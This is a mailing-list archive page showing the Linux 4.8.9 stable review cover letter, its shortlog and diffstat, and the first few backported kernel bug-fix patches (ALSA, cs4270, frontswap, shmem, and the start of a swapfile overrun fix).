linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [PATCH 4.8 00/92] 4.8.9-stable review
@ 2016-11-17 10:31 ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 01/92] ALSA: info: Return error for invalid read/write Greg Kroah-Hartman
                     ` (79 more replies)
  0 siblings, 80 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, torvalds, akpm, linux, shuah.kh, patches,
	ben.hutchings, stable

This is the start of the stable review cycle for the 4.8.9 release.
There are 92 patches in this series, all will be posted as a response
to this one.  If anyone has any issues with these being applied, please
let me know.

Responses should be made by Sat Nov 19 10:32:04 UTC 2016.
Anything received after that time might be too late.

The whole patch series can be found in one patch at:
	kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.8.9-rc1.gz
or in the git tree and branch at:
  git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-4.8.y
and the diffstat can be found below.

thanks,

greg k-h

-------------
Pseudo-Shortlog of commits:

Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Linux 4.8.9-rc1

Jann Horn <jann@thejh.net>
    netfilter: fix namespace handling in nf_log_proc_dostring

Imre Deak <imre.deak@intel.com>
    drm/i915: Fix mismatched INIT power domain disabling during suspend

Grazvydas Ignotas <notasas@gmail.com>
    drm/amdgpu: fix a vm_flush fence leak

Grazvydas Ignotas <notasas@gmail.com>
    drm/amdgpu: fix fence slab teardown

Arnd Bergmann <arnd@arndb.de>
    NFSv4.1: work around -Wmaybe-uninitialized warning

Yan, Zheng <zyan@redhat.com>
    libceph: fix legacy layout decode with pool 0

Greg Thelen <gthelen@google.com>
    memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB

Fabio Estevam <fabio.estevam@nxp.com>
    mmc: mxs: Initialize the spinlock prior to using it

Ray Jui <ray.jui@broadcom.com>
    pinctrl: iproc: Fix iProc and NSP GPIO support

Chen-Yu Tsai <wens@csie.org>
    ASoC: sun4i-codec: return error code instead of NULL when create_card fails

Lukas Wunner <lukas@wunner.de>
    ASoC: Intel: Skylake: Always acquire runtime pm ref on unload

Masahiro Yamada <yamada.masahiro@socionext.com>
    gpio: of: fix GPIO drivers with multiple gpio_chip for a single node

Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
    gpio/mvebu: Use irq_domain_add_linear

Sven Eckelmann <sven.eckelmann@open-mesh.com>
    batman-adv: Modify neigh_list only with rcu-list functions

Linus Lüssing <linus.luessing@c0d3.blue>
    batman-adv: fix splat on disabling an interface

Sinan Kaya <okaya@codeaurora.org>
    ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs

Sinan Kaya <okaya@codeaurora.org>
    ACPI/PCI: pci_link: penalize SCI correctly

Sinan Kaya <okaya@codeaurora.org>
    ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages

Punit Agrawal <punit.agrawal@arm.com>
    ACPI / APEI: Fix incorrect return value of ghes_proc()

Wei Yongjun <weiyongjun1@huawei.com>
    mmc: sdhci-msm: Fix error return code in sdhci_msm_probe()

Huaibin Wang <huaibin.wang@6wind.com>
    i40e: fix call of ndo_dflt_bridge_getlink()

Andrew Lutomirski <luto@kernel.org>
    hwrng: core - Don't use a stack buffer in add_early_randomness()

Daniel Mentz <danielmentz@google.com>
    lib/genalloc.c: start search from start of chunk

Heiko Carstens <heiko.carstens@de.ibm.com>
    s390/dumpstack: restore reliable indicator for call traces

Christophe JAILLET <christophe.jaillet@wanadoo.fr>
    rtc: pcf2123: Add missing error code assignment before test

Javier Martinez Canillas <javier@osg.samsung.com>
    clk: samsung: clk-exynos-audss: Fix module autoload

Jan Beulich <JBeulich@suse.com>
    x86/build: Fix build with older GCC versions

Chen-Yu Tsai <wens@csie.org>
    Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init"

Keith Busch <keith.busch@intel.com>
    nvme: Delete created IO queues on reset

Chuck Lever <chuck.lever@oracle.com>
    svcrdma: Tail iovec leaves an orphaned DMA mapping

Chuck Lever <chuck.lever@oracle.com>
    svcrdma: Skip put_page() when send_reply() fails

Alexander Usyskin <alexander.usyskin@intel.com>
    mei: bus: fix received data size check in NFC fixup

Namhyung Kim <namhyung@kernel.org>
    perf top: Fix refreshing hierarchy entries on TUI

Guenter Roeck <linux@roeck-us.net>
    Input: synaptics-rmi4 - fix error handling in I2C transport driver

Guenter Roeck <linux@roeck-us.net>
    Input: synaptics-rmi4 - fix error handling in SPI transport driver

Guenter Roeck <linux@roeck-us.net>
    watchdog: core: Fix devres_alloc() allocation size

Chris Wilson <chris@chris-wilson.co.uk>
    agp/intel: Flush chipset writes after updating a single PTE

Joerg Roedel <jroedel@suse.de>
    iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path

Baoquan He <bhe@redhat.com>
    iommu/amd: Free domain id when free a domain of struct dma_ops_domain

Robin Murphy <robin.murphy@arm.com>
    iommu/io-pgtable-arm: Check for v7s-incapable systems

Chuck Lever <chuck.lever@oracle.com>
    xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect

Daniel Wagner <daniel.wagner@bmw-carit.de>
    xprtrdma: use complete() instead complete_all()

Christian König <christian.koenig@amd.com>
    drm/amd: fix scheduler fence teardown order v2

Grazvydas Ignotas <notasas@gmail.com>
    drm/amdgpu: fix sched fence slab teardown

Richard Genoud <richard.genoud@gmail.com>
    tty/serial: at91: fix hardware handshake on Atmel platforms

Alex Deucher <alexander.deucher@amd.com>
    drm/amdgpu: fix crash in acp_hw_fini

Alex Deucher <alexander.deucher@amd.com>
    drm/amdgpu: disable runtime pm in certain cases

Dhinakaran Pandiyan <dhinakaran.pandiyan@intel.com>
    drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms

Dhinakaran Pandiyan <dhinakaran.pandiyan@intel.com>
    drm/i915/dp: BDW cdclk fix for DP audio

Ville Syrjälä <ville.syrjala@linux.intel.com>
    drm/i915: Respect alternate_ddc_pin for all DDI ports

Alex Deucher <alexander.deucher@amd.com>
    drm/radeon: disable runtime pm in certain cases

Andre Przywara <andre.przywara@arm.com>
    KVM: arm/arm64: vgic: Prevent access to invalid SPIs

Bart Van Assche <bart.vanassche@sandisk.com>
    scsi: scsi_dh_alua: Fix a reference counting bug

tang.junhui <tang.junhui@zte.com.cn>
    scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work()

Sreekanth Reddy <sreekanth.reddy@broadcom.com>
    scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk

Bill Kuzeja <William.Kuzeja@stratus.com>
    scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init

Lorenzo Bianconi <lorenzo.bianconi83@gmail.com>
    iio: st_sensors: fix scale configuration for h3lis331dl

Song Hongyan <hongyan.song@intel.com>
    iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver)

Song Hongyan <hongyan.song@intel.com>
    iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation.

Oliver Neukum <oneukum@suse.com>
    cdc-acm: fix uninitialized variable

Scott Wood <oss@buserror.net>
    clk: qoriq: Don't allow CPU clocks higher than starting value

Azael Avalos <coproscefalo@gmail.com>
    toshiba-wmi: Fix loading the driver on non Toshiba laptops

Richard Weinberger <richard@nod.at>
    drbd: Fix kernel_sendmsg() usage - potential NULL deref

Felipe Balbi <felipe.balbi@linux.intel.com>
    usb: gadget: u_ether: remove interrupt throttling

Johan Hovold <johan@kernel.org>
    USB: cdc-acm: fix TIOCMIWAIT

Vivek Gautam <vivek.gautam@codeaurora.org>
    usb: dwc3: Fix error handling for core init

Marc Dietrich <marvin24@gmx.de>
    staging: nvec: remove managed resource from PS2 driver

Paul Fertser <fercerpav@gmail.com>
    Revert "staging: nvec: ps2: change serio type to passthrough"

Paul Fertser <fercerpav@gmail.com>
    drivers: staging: nvec: remove bogus reset command for PS/2 interface

Ian Abbott <abbotti@mev.co.uk>
    staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value

Huacai Chen <chenhc@lemote.com>
    staging: sm750fb: Fix bugs introduced by early commits

Arnd Bergmann <arnd@arndb.de>
    staging: iio: ad5933: avoid uninitialized variable in error case

Ulf Hansson <ulf.hansson@linaro.org>
    mmc: mmc: Use 500ms as the default generic CMD6 timeout

Adrian Hunter <adrian.hunter@intel.com>
    mmc: sdhci: Fix unexpected data interrupt handling

Adrian Hunter <adrian.hunter@intel.com>
    mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer

Laura Abbott <labbott@redhat.com>
    cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set

Mika Westerberg <mika.westerberg@linux.intel.com>
    pinctrl: cherryview: Prevent possible interrupt storm on resume

Mika Westerberg <mika.westerberg@linux.intel.com>
    pinctrl: cherryview: Serialize register access in suspend/resume

Alexey Brodkin <abrodkin@synopsys.com>
    arc: Implement arch-specific dma_map_ops.mmap

Bjorn Helgaas <bhelgaas@google.com>
    PCI: Don't attempt to claim shadow copies of ROM

Vineet Gupta <vgupta@synopsys.com>
    ARC: timer: rtc: implement read loop in "C" vs. inline asm

Michael Holzheu <holzheu@linux.vnet.ibm.com>
    s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment

Andrey Ryabinin <aryabinin@virtuozzo.com>
    coredump: fix unfreezable coredumping task

Mike Kravetz <mike.kravetz@oracle.com>
    mm/hugetlb: fix huge page reservation leak in private mapping error paths

Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
    mm: hwpoison: fix thp split handling in memory_failure()

Jann Horn <jann@thejh.net>
    swapfile: fix memory corruption via malformed swapfile

Hugh Dickins <hughd@google.com>
    shmem: fix pageflags after swapping DMA32 object

Vlastimil Babka <vbabka@suse.cz>
    mm, frontswap: make sure allocated frontswap map is assigned

Sean Young <sean@mess.org>
    dib0700: fix nec repeat handling

murray foster <mrafoster@gmail.com>
    ASoC: cs4270: fix DAPM stream name mismatch

Takashi Iwai <tiwai@suse.de>
    ALSA: info: Limit the proc text input size

Takashi Iwai <tiwai@suse.de>
    ALSA: info: Return error for invalid read/write


-------------

Diffstat:

 Makefile                                           |  4 +-
 arch/arc/kernel/time.c                             | 19 +++--
 arch/arc/mm/dma.c                                  | 26 ++++++
 arch/s390/hypfs/hypfs_diag.c                       |  6 +-
 arch/s390/include/asm/processor.h                  |  2 +-
 arch/s390/kernel/dumpstack.c                       | 17 ++--
 arch/s390/kernel/perf_event.c                      |  2 +-
 arch/s390/kernel/stacktrace.c                      |  4 +-
 arch/s390/oprofile/init.c                          |  2 +-
 arch/x86/entry/Makefile                            |  4 +-
 arch/x86/kernel/acpi/boot.c                        |  1 +
 drivers/acpi/apei/ghes.c                           |  2 +-
 drivers/acpi/pci_link.c                            | 38 +++++----
 drivers/block/drbd/drbd_main.c                     |  2 +-
 drivers/char/agp/intel-gtt.c                       |  2 +
 drivers/char/hw_random/core.c                      |  6 +-
 drivers/clk/clk-qoriq.c                            | 13 +--
 drivers/clk/samsung/clk-exynos-audss.c             |  1 +
 drivers/clocksource/timer-sun5i.c                  | 16 +++-
 drivers/gpio/gpio-mvebu.c                          | 92 ++++++++++------------
 drivers/gpio/gpiolib-of.c                          | 14 ++--
 drivers/gpu/drm/amd/amdgpu/amdgpu_acp.c            |  5 +-
 drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c            |  2 +
 drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c          |  1 +
 drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c            |  2 +
 drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c             |  1 +
 drivers/gpu/drm/amd/scheduler/gpu_scheduler.c      | 12 ---
 drivers/gpu/drm/amd/scheduler/gpu_scheduler.h      |  6 +-
 drivers/gpu/drm/amd/scheduler/sched_fence.c        | 19 +++++
 drivers/gpu/drm/i915/i915_drv.c                    |  4 +-
 drivers/gpu/drm/i915/intel_display.c               | 29 ++++++-
 drivers/gpu/drm/i915/intel_hdmi.c                  | 84 +++++++++++---------
 drivers/gpu/drm/radeon/radeon_device.c             | 13 +++
 drivers/iio/accel/st_accel_core.c                  | 12 ++-
 .../iio/common/hid-sensors/hid-sensor-attributes.c | 56 ++++++-------
 drivers/iio/common/st_sensors/st_sensors_core.c    |  8 +-
 drivers/iio/orientation/hid-sensor-rotation.c      |  1 +
 drivers/input/rmi4/rmi_i2c.c                       | 38 ++++++---
 drivers/input/rmi4/rmi_spi.c                       | 22 +++---
 drivers/iommu/amd_iommu.c                          |  3 +
 drivers/iommu/intel-iommu.c                        | 14 +++-
 drivers/iommu/io-pgtable-arm-v7s.c                 |  4 +
 drivers/media/usb/dvb-usb/dib0700_core.c           |  5 +-
 drivers/misc/mei/bus-fixup.c                       |  2 +-
 drivers/mmc/core/mmc.c                             |  3 +
 drivers/mmc/host/mxs-mmc.c                         |  4 +-
 drivers/mmc/host/sdhci-msm.c                       |  1 +
 drivers/mmc/host/sdhci.c                           | 28 ++++---
 drivers/net/ethernet/intel/i40e/i40e_main.c        |  2 +-
 drivers/nfc/mei_phy.c                              |  2 +-
 drivers/nvme/host/pci.c                            |  9 ++-
 drivers/pci/setup-res.c                            |  8 ++
 drivers/pinctrl/bcm/pinctrl-iproc-gpio.c           |  2 +-
 drivers/pinctrl/bcm/pinctrl-nsp-gpio.c             |  2 +-
 drivers/pinctrl/intel/pinctrl-cherryview.c         | 17 +++-
 drivers/platform/x86/toshiba-wmi.c                 | 26 ++++--
 drivers/rtc/rtc-pcf2123.c                          |  5 +-
 drivers/scsi/device_handler/scsi_dh_alua.c         |  5 +-
 drivers/scsi/mpt3sas/mpt3sas_scsih.c               |  4 +-
 drivers/scsi/qla2xxx/qla_os.c                      |  2 +
 drivers/staging/comedi/drivers/ni_tio.c            |  3 +-
 drivers/staging/iio/impedance-analyzer/ad5933.c    | 17 ++--
 drivers/staging/nvec/nvec_ps2.c                    |  8 +-
 drivers/staging/sm750fb/ddk750_reg.h               |  8 +-
 drivers/tty/serial/atmel_serial.c                  | 27 ++++++-
 drivers/usb/class/cdc-acm.c                        |  4 +-
 drivers/usb/dwc3/core.c                            |  5 +-
 drivers/usb/gadget/function/u_ether.c              |  8 --
 drivers/watchdog/watchdog_core.c                   |  2 +-
 fs/coredump.c                                      |  3 +
 fs/nfs/nfs4session.c                               | 10 ++-
 include/linux/acpi.h                               |  1 +
 include/linux/frontswap.h                          |  5 +-
 include/linux/sunrpc/svc_rdma.h                    |  9 +++
 lib/genalloc.c                                     |  3 +-
 mm/hugetlb.c                                       | 66 ++++++++++++++++
 mm/memory-failure.c                                | 12 ++-
 mm/shmem.c                                         |  2 +
 mm/slab_common.c                                   |  4 +-
 mm/swapfile.c                                      |  2 +
 net/batman-adv/hard-interface.c                    |  1 -
 net/batman-adv/originator.c                        |  2 +-
 net/ceph/ceph_fs.c                                 |  3 +-
 net/netfilter/nf_log.c                             |  6 +-
 net/sunrpc/xprtrdma/frwr_ops.c                     | 39 +++++----
 net/sunrpc/xprtrdma/svc_rdma_backchannel.c         |  2 +-
 net/sunrpc/xprtrdma/svc_rdma_recvfrom.c            |  2 +-
 net/sunrpc/xprtrdma/svc_rdma_sendto.c              | 24 ++----
 net/sunrpc/xprtrdma/svc_rdma_transport.c           | 18 +++--
 net/sunrpc/xprtrdma/xprt_rdma.h                    |  3 +-
 sound/core/info.c                                  |  9 ++-
 sound/soc/codecs/cs4270.c                          |  8 +-
 sound/soc/intel/skylake/skl.c                      |  3 +-
 sound/soc/sunxi/sun4i-codec.c                      |  7 +-
 tools/perf/ui/browsers/hists.c                     |  3 +-
 tools/power/cpupower/utils/cpufreq-set.c           |  7 +-
 virt/kvm/arm/vgic/vgic-mmio.c                      | 41 ++++++----
 virt/kvm/arm/vgic/vgic-mmio.h                      | 14 ++--
 98 files changed, 726 insertions(+), 401 deletions(-)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 01/92] ALSA: info: Return error for invalid read/write
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 02/92] ALSA: info: Limit the proc text input size Greg Kroah-Hartman
                     ` (78 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Takashi Iwai

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Takashi Iwai <tiwai@suse.de>

commit 6809cd682b82dfff47943850d1a8c714f971b5ca upstream.

Currently the ALSA proc handler allows read or write even if the proc
file were write-only or read-only.  It's mostly harmless, does thing
but allocating memory and ignores the input/output.  But it doesn't
tell user about the invalid use, and it's confusing and inconsistent
in comparison with other proc files.

This patch adds some sanity checks and let the proc handler returning
an -EIO error when the invalid read/write is performed.

Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 sound/core/info.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- a/sound/core/info.c
+++ b/sound/core/info.c
@@ -325,6 +325,8 @@ static ssize_t snd_info_text_entry_write
 	size_t next;
 	int err = 0;
 
+	if (!entry->c.text.write)
+		return -EIO;
 	pos = *offset;
 	if (!valid_pos(pos, count))
 		return -EIO;
@@ -366,7 +368,9 @@ static int snd_info_seq_show(struct seq_
 	struct snd_info_private_data *data = seq->private;
 	struct snd_info_entry *entry = data->entry;
 
-	if (entry->c.text.read) {
+	if (!entry->c.text.read) {
+		return -EIO;
+	} else {
 		data->rbuffer->buffer = (char *)seq; /* XXX hack! */
 		entry->c.text.read(entry, data->rbuffer);
 	}

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 02/92] ALSA: info: Limit the proc text input size
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 01/92] ALSA: info: Return error for invalid read/write Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 03/92] ASoC: cs4270: fix DAPM stream name mismatch Greg Kroah-Hartman
                     ` (77 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Takashi Iwai

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Takashi Iwai <tiwai@suse.de>

commit 027a9fe6835620422b6713892175716f3613dd9d upstream.

The ALSA proc handler allows currently the write in the unlimited size
until kmalloc() fails.  But basically the write is supposed to be only
for small inputs, mostly for one line inputs, and we don't have to
handle too large sizes at all.  Since the kmalloc error results in the
kernel warning, it's better to limit the size beforehand.

This patch adds the limit of 16kB, which must be large enough for the
currently existing code.

Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 sound/core/info.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/sound/core/info.c
+++ b/sound/core/info.c
@@ -331,6 +331,9 @@ static ssize_t snd_info_text_entry_write
 	if (!valid_pos(pos, count))
 		return -EIO;
 	next = pos + count;
+	/* don't handle too large text inputs */
+	if (next > 16 * 1024)
+		return -EIO;
 	mutex_lock(&entry->access);
 	buf = data->wbuffer;
 	if (!buf) {

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 03/92] ASoC: cs4270: fix DAPM stream name mismatch
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 01/92] ALSA: info: Return error for invalid read/write Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 02/92] ALSA: info: Limit the proc text input size Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 05/92] mm, frontswap: make sure allocated frontswap map is assigned Greg Kroah-Hartman
                     ` (76 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Murray Foster, Paul Handrigan, Mark Brown

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: murray foster <mrafoster@gmail.com>

commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream.

Mismatching stream names in DAPM route and widget definitions are
causing compilation errors. Fixing these names allows the cs4270
driver to compile and function.

[Errors must be at probe time not compile time -- broonie]

Signed-off-by: Murray Foster <mrafoster@gmail.com>
Acked-by: Paul Handrigan <Paul.Handrigan@cirrus.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 sound/soc/codecs/cs4270.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- a/sound/soc/codecs/cs4270.c
+++ b/sound/soc/codecs/cs4270.c
@@ -148,11 +148,11 @@ SND_SOC_DAPM_OUTPUT("AOUTR"),
 };
 
 static const struct snd_soc_dapm_route cs4270_dapm_routes[] = {
-	{ "Capture", NULL, "AINA" },
-	{ "Capture", NULL, "AINB" },
+	{ "Capture", NULL, "AINL" },
+	{ "Capture", NULL, "AINR" },
 
-	{ "AOUTA", NULL, "Playback" },
-	{ "AOUTB", NULL, "Playback" },
+	{ "AOUTL", NULL, "Playback" },
+	{ "AOUTR", NULL, "Playback" },
 };
 
 /**

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 05/92] mm, frontswap: make sure allocated frontswap map is assigned
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (2 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 03/92] ASoC: cs4270: fix DAPM stream name mismatch Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 06/92] shmem: fix pageflags after swapping DMA32 object Greg Kroah-Hartman
                     ` (75 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Vlastimil Babka,
	Christian Borntraeger, Konrad Rzeszutek Wilk, Boris Ostrovsky,
	David Vrabel, Juergen Gross, Kirill A. Shutemov, Andrew Morton,
	Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Vlastimil Babka <vbabka@suse.cz>

commit 5e322beefc8699b5747cfb35539a9496034e4296 upstream.

Christian Borntraeger reports:

With commit 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to
static key") kmemleak complains about a memory leak in swapon

    unreferenced object 0x3e09ba56000 (size 32112640):
      comm "swapon", pid 7852, jiffies 4294968787 (age 1490.770s)
      hex dump (first 32 bytes):
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      backtrace:
         __vmalloc_node_range+0x194/0x2d8
         vzalloc+0x58/0x68
         SyS_swapon+0xd60/0x12f8
         system_call+0xd6/0x270

Turns out kmemleak is right.  We now allocate the frontswap map
depending on the kernel config (and no longer on the enablement)

  swapfile.c:
  [...]
      if (IS_ENABLED(CONFIG_FRONTSWAP))
                frontswap_map = vzalloc(BITS_TO_LONGS(maxpages) * sizeof(long));

but later on this is passed along
  --> enable_swap_info(p, prio, swap_map, cluster_info, frontswap_map);

and ignored if frontswap is disabled
  --> frontswap_init(p->type, frontswap_map);

  static inline void frontswap_init(unsigned type, unsigned long *map)
  {
        if (frontswap_enabled())
                __frontswap_init(type, map);
  }

Thing is, that frontswap map is never freed.

The leakage is relatively not that bad, because swapon is an infrequent
and privileged operation.  However, if the first frontswap backend is
registered after a swap type has been already enabled, it will WARN_ON
in frontswap_register_ops() and frontswap will not be available for the
swap type.

Fix this by making sure the map is assigned by frontswap_init() as long
as CONFIG_FRONTSWAP is enabled.

Fixes: 8ea1d2a1985a ("mm, frontswap: convert frontswap_enabled to static key")
Link: http://lkml.kernel.org/r/20161026134220.2566-1-vbabka@suse.cz
Signed-off-by: Vlastimil Babka <vbabka@suse.cz>
Reported-by: Christian Borntraeger <borntraeger@de.ibm.com>
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: David Vrabel <david.vrabel@citrix.com>
Cc: Juergen Gross <jgross@suse.com>
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 include/linux/frontswap.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- a/include/linux/frontswap.h
+++ b/include/linux/frontswap.h
@@ -106,8 +106,9 @@ static inline void frontswap_invalidate_
 
 static inline void frontswap_init(unsigned type, unsigned long *map)
 {
-	if (frontswap_enabled())
-		__frontswap_init(type, map);
+#ifdef CONFIG_FRONTSWAP
+	__frontswap_init(type, map);
+#endif
 }
 
 #endif /* _LINUX_FRONTSWAP_H */

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 06/92] shmem: fix pageflags after swapping DMA32 object
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (3 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 05/92] mm, frontswap: make sure allocated frontswap map is assigned Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 07/92] swapfile: fix memory corruption via malformed swapfile Greg Kroah-Hartman
                     ` (74 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Hugh Dickins, Kirill A. Shutemov,
	Andrew Morton, Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Hugh Dickins <hughd@google.com>

commit 9956edf37e65e93fbb76dcff1236dff2323d306a upstream.

If shmem_alloc_page() does not set PageLocked and PageSwapBacked, then
shmem_replace_page() needs to do so for itself.  Without this, it puts
newpage on the wrong lru, re-unlocks the unlocked newpage, and system
descends into "Bad page" reports and freeze; or if CONFIG_DEBUG_VM=y, it
hits an earlier VM_BUG_ON_PAGE(!PageLocked), depending on config.

But shmem_replace_page() is not a common path: it's only called when
swapin (or swapoff) finds the page was already read into an unsuitable
zone: usually all zones are suitable, but gem objects for a few drm
devices (gma500, omapdrm, crestline, broadwater) require zone DMA32 if
there's more than 4GB of ram.

Fixes: 800d8c63b2e9 ("shmem: add huge pages support")
Link: http://lkml.kernel.org/r/alpine.LSU.2.11.1611062003510.11253@eggly.anvils
Signed-off-by: Hugh Dickins <hughd@google.com>
Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 mm/shmem.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/mm/shmem.c
+++ b/mm/shmem.c
@@ -1483,6 +1483,8 @@ static int shmem_replace_page(struct pag
 	copy_highpage(newpage, oldpage);
 	flush_dcache_page(newpage);
 
+	__SetPageLocked(newpage);
+	__SetPageSwapBacked(newpage);
 	SetPageUptodate(newpage);
 	set_page_private(newpage, swap_index);
 	SetPageSwapCache(newpage);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 07/92] swapfile: fix memory corruption via malformed swapfile
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (4 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 06/92] shmem: fix pageflags after swapping DMA32 object Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 08/92] mm: hwpoison: fix thp split handling in memory_failure() Greg Kroah-Hartman
                     ` (73 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Jann Horn, Kees Cook,
	Jerome Marchand, Johannes Weiner, Kirill A. Shutemov,
	Vlastimil Babka, Hugh Dickins, Andrew Morton, Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jann Horn <jann@thejh.net>

commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream.

When root activates a swap partition whose header has the wrong
endianness, nr_badpages elements of badpages are swabbed before
nr_badpages has been checked, leading to a buffer overrun of up to 8GB.

This normally is not a security issue because it can only be exploited
by root (more specifically, a process with CAP_SYS_ADMIN or the ability
to modify a swap file/partition), and such a process can already e.g.
modify swapped-out memory of any other userspace process on the system.

Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net
Signed-off-by: Jann Horn <jann@thejh.net>
Acked-by: Kees Cook <keescook@chromium.org>
Acked-by: Jerome Marchand <jmarchan@redhat.com>
